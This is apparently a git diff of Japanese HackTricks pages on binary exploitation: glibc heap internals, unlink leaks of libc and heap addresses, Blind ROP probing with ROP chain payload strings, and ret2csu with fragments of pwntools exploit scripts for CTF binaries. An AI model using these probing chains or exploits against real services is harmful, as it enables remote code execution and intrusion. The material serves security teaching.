* `mchunkptr bins[NBINS * 2 - 2];` は**小さな、大きな、未ソートの** **ビン**の**最初と最後のチャンク**への**ポインタ**を含んでいます(-2はインデックス0が使用されていないためです * `mchunkptr bins[NBINS * 2 - 2];` は**小さな、大きな、未ソートの** **ビン**の**最初と最後のチャンク**への**ポインタ**を含んでいます(-2はインデックス0が使用されていないためです
* したがって、これらのビンの**最初のチャンク**はこの構造体への**逆ポインタ**を持ち、これらのビンの**最後のチャンク**はこの構造体への**前方ポインタ**を持ちます。基本的に、もしあなたが**メインアリーナでこれらのアドレスを漏洩させることができれば**、あなたは**libc**内の構造体へのポインタを持つことになります。 * したがって、これらのビンの**最初のチャンク**はこの構造体への**逆ポインタ**を持ち、これらのビンの**最後のチャンク**はこの構造体への**前方ポインタ**を持ちます。これは基本的に、**メインアリーナでこれらのアドレスをl**eakできれば、**libc**内の構造体へのポインタを持つことを意味します。
* 構造体`struct malloc_state *next;`と`struct malloc_state *next_free;`はアリーナのリンクリストです。 * 構造体`struct malloc_state *next;`と`struct malloc_state *next_free;`はアリーナのリンクリストです。
* `top`チャンクは最後の「チャンク」であり、基本的に**ヒープの残りのすべての空間**です。トップチャンクが「空」であると、ヒープは完全に使用されており、さらにスペースを要求する必要があります。 * `top`チャンクは最後の「チャンク」であり、基本的に**ヒープの残りのすべてのスペース**です。トップチャンクが「空」であると、ヒープは完全に使用されており、さらにスペースを要求する必要があります。
* `last reminder`チャンクは、正確なサイズのチャンクが利用できない場合に発生し、したがって大きなチャンクが分割され、残りの部分のポインタがここに置かれます。 * `last reminder`チャンクは、正確なサイズのチャンクが利用できない場合に発生し、したがって大きなチャンクが分割され、残りの部分のポインタがここに置かれます。
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -155,7 +155,7 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr; typedef struct malloc_chunk* mchunkptr;
``` ```
前述のように、これらのチャンクにはメタデータも含まれており、この画像で非常によく表現されています: 以前にコメントしたように、これらのチャンクにはメタデータも含まれており、以下の画像で非常に良く表現されています:
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
@ -258,13 +258,13 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req); return request2size (req);
} }
``` ```
注意:必要な総スペースを計算する際、`prev_size`フィールドはデータを格納するために使用できるため、`SIZE_SZ`は1回だけ追加されます。したがって、初期ヘッダーのみが必要です。 注意:必要な総スペースを計算する際、`prev_size` フィールドはデータを格納するために使用できるため、`SIZE_SZ` は1回だけ追加されます。したがって、初期ヘッダーのみが必要です。
### チャンクデータを取得し、メタデータを変更する ### チャンクデータを取得し、メタデータを変更する
これらの関数はチャンクへのポインタを受け取り、メタデータを確認/設定するのに便利です: これらの関数はチャンクへのポインタを受け取り、メタデータをチェック/設定するのに便利です:
* チャンクフラグを確認する * チャンクフラグをチェック
```c ```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -470,15 +470,15 @@ return 0;
前の例をデバッグすると、最初に1つのアリーナしかないことがわかります 前の例をデバッグすると、最初に1つのアリーナしかないことがわかります
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
次に、最初のスレッド、mallocを呼び出すスレッドを呼び出すと、新しいアリーナが作成されます 次に、最初のスレッド、mallocを呼び出すスレッドを呼び出すと、新しいアリーナが作成されます
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
その中にはいくつかのチャンクが見つかります: その中にはいくつかのチャンクが見つかります:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## ビンとメモリの割り当て/解放 ## ビンとメモリの割り当て/解放

View file

@ -9,7 +9,7 @@ GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
@ -67,23 +67,23 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
unlinkプロセスの素晴らしいグラフィカルな説明を確認してください unlinkプロセスの素晴らしいグラフィカルな説明を確認してください
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### セキュリティチェック ### セキュリティチェック
* チャンクの指定サイズが次のチャンクに示されたprev\_sizeと同じであることを確認す * チャンクの指定サイズが次のチャンクに示されたprev\_sizeと同じであることを確認しま
* また、`P->fd->bk == P`および`P->bk->fw == P`であることを確認す * また、`P->fd->bk == P`および`P->bk->fw == P`であることを確認しま
* チャンクが小さくない場合、`P->fd_nextsize->bk_nextsize == P`および`P->bk_nextsize->fd_nextsize == P`であることを確認す * チャンクが小さくない場合、`P->fd_nextsize->bk_nextsize == P`および`P->bk_nextsize->fd_nextsize == P`であることを確認しま
### リーク ### リーク
unlinkされたチャンクは割り当てられたアドレスをクリーンアップしないため、アクセスして読むことができれば、いくつかの興味深いアドレスをリークすることが可能です: unlinkされたチャンクは割り当てられたアドレスをクリーニングしないため、アクセスして読むことができれば、いくつかの興味深いアドレスをリークすることが可能です:
Libcリーク Libcリーク
* Pが二重リンクリストの先頭にある場合、`bk`はlibcの`malloc_state`を指します * Pが二重リンクリストの先頭にある場合、`bk`はlibcの`malloc_state`を指します
* Pが二重リンクリストの末尾にある場合、`fd`はlibcの`malloc_state`を指します * Pが二重リンクリストの末尾にある場合、`fd`はlibcの`malloc_state`を指します
* 二重リンクリストに1つのフリーチャンクしか含まれていない場合、Pは二重リンクリストにあり、`fd`と`bk`の両方が`malloc_state`内のアドレスをリークすることができます * 二重リンクリストに1つのフリーチャンクしか含まれていない場合、Pは二重リンクリストにあり、`fd`と`bk`の両方が`malloc_state`内のアドレスをリークできます
ヒープリーク: ヒープリーク:

View file

@ -1,16 +1,16 @@
# BROP - Blind Return Oriented Programming # BROP - Blind Return Oriented Programming
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
@ -35,22 +35,22 @@ GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte
### **4. 停止ガジェットを見つける** ### **4. 停止ガジェットを見つける**
このガジェットは基本的に、ROPガジェットによって何か興味深いものが実行されたことを確認するためのもので、実行がクラッシュしなかったことを示します。通常、このガジェットは**実行を停止する**ものであり、特定のROPガジェットが実行されたことを確認するためにROPチェーンの最後に配置されます。 このガジェットは基本的に、ROPガジェットによって何か興味深いものが実行されたことを確認することを可能にします。なぜなら、実行がクラッシュしなかったからです。通常、このガジェットは**実行を停止する**ものであり、特定のROPガジェットが実行されたことを確認するためにROPチェーンの最後に配置されます。
### **5. BROPガジェットを見つける** ### **5. BROPガジェットを見つける**
この技術は[**ret2csu**](ret2csu.md)ガジェットを使用します。これは、いくつかの命令の途中でこのガジェットにアクセスすると、**`rsi`**と**`rdi`**を制御するガジェットが得られるためです: この技術は[**ret2csu**](ret2csu.md)ガジェットを使用します。これは、いくつかの命令の途中でこのガジェットにアクセスすると、**`rsi`**と**`rdi`**を制御するガジェットが得られるからです:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
これらがガジェットです: これらがガジェットです:
* `pop rsi; pop r15; ret` * `pop rsi; pop r15; ret`
* `pop rdi; ret` * `pop rdi; ret`
これらのガジェットを使用すると、関数を呼び出すための**2つの引数を制御する**ことが可能で これらのガジェットを使用すると、関数を呼び出すための**2つの引数を制御する**ことが可能であることに注意してください
また、ret2csuガジェットは**非常にユニークなシグネチャ**を持っていることに注意してください。なぜなら、スタックから6つのレジスタをポップするからです。したがって、次のようなチェーンを送信します: また、ret2csuガジェットは**非常にユニークなシグネチャ**を持っているため、スタックから6つのレジスタをポップします。したがって、次のようなチェーンを送信します:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
@ -64,7 +64,7 @@ ret2csuガジェットのアドレスを知っていると、**`rsi`と`rdi`を
### 6. PLTを見つける ### 6. PLTを見つける
PLTテーブルは0x400000から、またはスタックからの**漏洩したRIPアドレス**から検索できます(**PIE**が使用されている場合)。テーブルの**エントリ**は**16B**0x10Bで区切られており、1つの関数が呼び出されると、引数が正しくなくてもサーバーはクラッシュしません。また、**PLTのエントリのアドレス + 6Bもクラッシュしません**。これは最初に実行されるコードです。 PLTテーブルは0x400000から、またはスタックからの**漏洩したRIPアドレス**から検索できます(**PIE**が使用されている場合)。テーブルの**エントリ**は**16B**0x10B**区切られており**、1つの関数が呼び出されると、引数が正しくなくてもサーバーはクラッシュしません。また、**PLTのエントリのアドレス + 6Bもクラッシュしません**。なぜなら、それは最初に実行されるコードだからです。
したがって、次の動作を確認することでPLTテーブルを見つけることができます したがって、次の動作を確認することでPLTテーブルを見つけることができます
@ -74,19 +74,19 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR
### 7. strcmpを見つける ### 7. strcmpを見つける
**`strcmp`**関数は、比較される文字列の長さをレジスタ**`rdx`**に設定します。**`rdx`**は**3番目の引数**であり、後で`write`を使用してプログラムを漏洩させるためには**0より大きい**必要があります **`strcmp`**関数は、比較される文字列の長さをレジスタ**`rdx`**に設定します。**`rdx`**は**3番目の引数**であり、後で`write`を使用してプログラムを漏洩させるために**0より大きくする必要があります**
**`strcmp`**のPLT内の位置を、その動作に基づいて見つけることが可能です。これは、関数の最初の2つの引数を制御できることを利用します 次のように、関数の最初の2つの引数を制御できることを利用して、PLT内の**`strcmp`**の位置を見つけることができます:
* strcmp(\<非読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ * strcmp(\<非読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ
* strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ * strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ
* strcmp(\<読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ * strcmp(\<読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ
* strcmp(\<読み取りアドレス>, \<読み取りアドレス>) -> クラッシュしない * strcmp(\<読み取りアドレス>, \<読み取りアドレス>) -> クラッシュしない
これは、PLTテーブルの各エントリを呼び出すか、**PLTスローパス**を使用して確認できます。これは基本的に**PLTテーブルのエントリ + 0xb****`dlresolve`**を呼び出す)を呼び出し、スタック内に**調査したいエントリ番号**(ゼロから始まる)を配置して、最初のエントリからすべてのPLTエントリをスキャンします これは、PLTテーブルの各エントリを呼び出すか、**PLTスローパス**を使用して確認できます。これは基本的に**PLTテーブルのエントリを呼び出し + 0xb****`dlresolve`**を呼び出す)し、スタック内に**調査したいエントリ番号**(ゼロから始まる)を続けて、最初のエントリからすべてのPLTエントリをスキャンします
* strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ * strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> クラッシュす * `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> クラッシュしま
* strcmp(\<読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ * strcmp(\<読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` * `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
* strcmp(\<読み取りアドレス>, \<読み取りアドレス>) -> クラッシュしない * strcmp(\<読み取りアドレス>, \<読み取りアドレス>) -> クラッシュしない
@ -94,11 +94,11 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR
覚えておいてください: 覚えておいてください:
* BROP + 0x7は**`pop RSI; pop R15; ret;`**を指します * BROP + 0x7は**`pop RSI; pop R15; ret;`**を指します
* BROP + 0x9は**`pop RDI; ret;`**を指します * BROP + 0x9は**`pop RDI; ret;`**を指します
* PLT + 0xbは**dl\_resolve**への呼び出しを指します。 * PLT + 0xbは**dl\_resolve**への呼び出しを指します。
`strcmp`を見つけることで、**`rdx`**を0より大きい値に設定することが可能です。 `strcmp`を見つけたら、**`rdx`**を0より大きい値に設定することが可能です。
{% hint style="success" %} {% hint style="success" %}
通常、`rdx`にはすでに0より大きい値が格納されているため、このステップは必要ないかもしれません。 通常、`rdx`にはすでに0より大きい値が格納されているため、このステップは必要ないかもしれません。
@ -106,7 +106,7 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR
### 8. Writeまたは同等のものを見つける ### 8. Writeまたは同等のものを見つける
最後に、バイナリを漏洩させるためにデータを外部に送信するガジェットが必要です。そして、この時点で**2つの引数を制御し、`rdx`を0より大きく設定することが可能です。** 最後に、バイナリを漏洩させるためにデータを外部に出力するガジェットが必要です。そして、この時点で**2つの引数を制御し、`rdx`を0より大きく設定することが可能です。**
これに悪用できる一般的な関数は3つあります これに悪用できる一般的な関数は3つあります
@ -116,9 +116,9 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR
ただし、元の論文では**`write`**のみが言及されているため、これについて話しましょう: ただし、元の論文では**`write`**のみが言及されているため、これについて話しましょう:
現在の問題は、**PLT内のwrite関数の位置がわからないこと**と、**データをソケットに送信するためのfd番号がわからないこと**です。 現在の問題は、**PLT内のwrite関数がどこにあるか**がわからず、**データをソケットに送信するためのfd番号がわからない**ことです。
しかし、**PLTテーブルの位置はわかっており**、その**動作**に基づいてwriteを見つけることが可能です。また、サーバーとの**複数の接続**を作成し、高いFDを使用して、いくつかの接続と一致することを期待できます。 しかし、**PLTテーブルの位置はわかっており**、その**動作**に基づいてwriteを見つけることが可能です。そして、サーバーとの**複数の接続**を作成し、**高いFD**を使用して、いくつかの接続に一致することを期待できます。
これらの関数を見つけるための動作シグネチャ: これらの関数を見つけるための動作シグネチャ:
@ -136,16 +136,16 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop) * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -21,11 +21,11 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
**ret2csu** は、プログラムの制御を試みる際に、通常使用する **gadgets** を見つけられない場合に使用されるハッキング技術です。 **ret2csu** は、プログラムの制御を試みる際に、通常使用する **gadgets** を見つけられない場合に使用されるハッキング技術です。
プログラムが特定のライブラリlibcなどを使用している場合、プログラムの異なる部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に `__libc_csu_init` と呼ばれる、私たちの欠けている gadgets として機能する隠れた宝があります。 プログラムが特定のライブラリlibcなどを使用している場合、プログラムの異なる部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に `__libc_csu_init` と呼ばれるものが、私たちの欠けている gadgets として機能する隠れた宝があります。
### \_\_libc\_csu\_init の魔法の gadgets ### \_\_libc\_csu\_init の魔法の gadgets
**`__libc_csu_init`** には、強調すべき2つの命令シーケンスgadgetsがあります **`__libc_csu_init`** には、強調すべき2つの命令シーケンスgadgetsがあります
1. 最初のシーケンスは、いくつかのレジスタrbx、rbp、r12、r13、r14、r15に値を設定することを可能にします。これらは、後で使用したい数値やアドレスを保存するためのスロットのようなものです。 1. 最初のシーケンスは、いくつかのレジスタrbx、rbp、r12、r13、r14、r15に値を設定することを可能にします。これらは、後で使用したい数値やアドレスを保存するためのスロットのようなものです。
```armasm ```armasm
@ -48,7 +48,7 @@ mov rsi, r14;
mov edi, r13d; mov edi, r13d;
call qword [r12 + rbx*8]; call qword [r12 + rbx*8];
``` ```
3. もしかしたら、そこに書き込むためのアドレスを知らないかもしれませんし、**`ret` 命令が必要です**。2番目のガジェットも**`ret` で終わります**、それに到達するためにはいくつかの**条件**を満たす必要があります: 3. もしかしたら、そこに書き込むためのアドレスを知らないかもしれませんし、**`ret` 命令が必要です**。2番目のガジェットも**`ret` で終わります**、それに到達するためにはいくつかの**条件**を満たす必要があります:
```armasm ```armasm
mov rdx, r15; mov rdx, r15;
mov rsi, r14; mov rsi, r14;
@ -80,7 +80,7 @@ gef➤ search-pattern 0x400560
ret2csu ガジェットから **`rdi`** と **`rsi`** を制御する別の方法は、特定のオフセットにアクセスすることです: ret2csu ガジェットから **`rdi`** と **`rsi`** を制御する別の方法は、特定のオフセットにアクセスすることです:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
詳細についてはこのページを確認してください: 詳細についてはこのページを確認してください:
@ -124,12 +124,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!" print(p.recvline()) # should receive "Awesome work!"
``` ```
{% hint style="warning" %} {% hint style="warning" %}
注意してください前のエクスプロイトは**`RCE`**を行うことを目的としていません。これは、関数**`win`**を呼び出すことを目的としていますROPチェーン内でstdinからgetsを呼び出して`win`のアドレスを取得し、それをr15に格納します第三引数として値`0xdeadbeefcafed00d`を持つものです。 注意してください前のエクスプロイトは**`RCE`**を行うことを目的としていません。これは、関数**`win`**を呼び出すことを目的としておりROPチェーン内でstdinからgetsを呼び出して`win`のアドレスを取得し、それをr15に格納します、第三引数には値`0xdeadbeefcafed00d`を指定します。
{% endhint %} {% endhint %}
### コールをバイパスしてretに到達する ### コールをバイパスしてretに到達する
以下のエクスプロイトは、**このページ**から抽出されましたhttps://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html。ここでは**ret2csu**が使用されていますが、コールを使用する代わりに、**比較をバイパスしてコールの後の`ret`に到達しています** 以下のエクスプロイトは、**このページ**から抽出されました。ここでは**ret2csu**が使用されていますが、コールを使用する代わりに、**比較をバイパスしてコールの後の`ret`に到達しています**
```python ```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -181,7 +181,7 @@ target.interactive()
``` ```
### なぜlibcを直接使用しないのか ### なぜlibcを直接使用しないのか
通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、時にはlibc内で直接見つけたガジェットで簡単に制御できる以上のパラメータを制御する必要があります。例えば、`write()`関数は3つのパラメータを必要とし、**これらすべてを直接設定するためのガジェットを見つけることは不可能かもしれません**。 通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、時にはlibc内で直接見つけたガジェットで簡単に制御できる以上のパラメータを制御する必要があります。例えば、`write()`関数はつのパラメータを必要とし、**これらすべてを直接設定するためのガジェットを見つけることは不可能かもしれません**。
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
@ -192,8 +192,8 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,8 +1,8 @@
# Padding Oracle # Padding Oracle
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
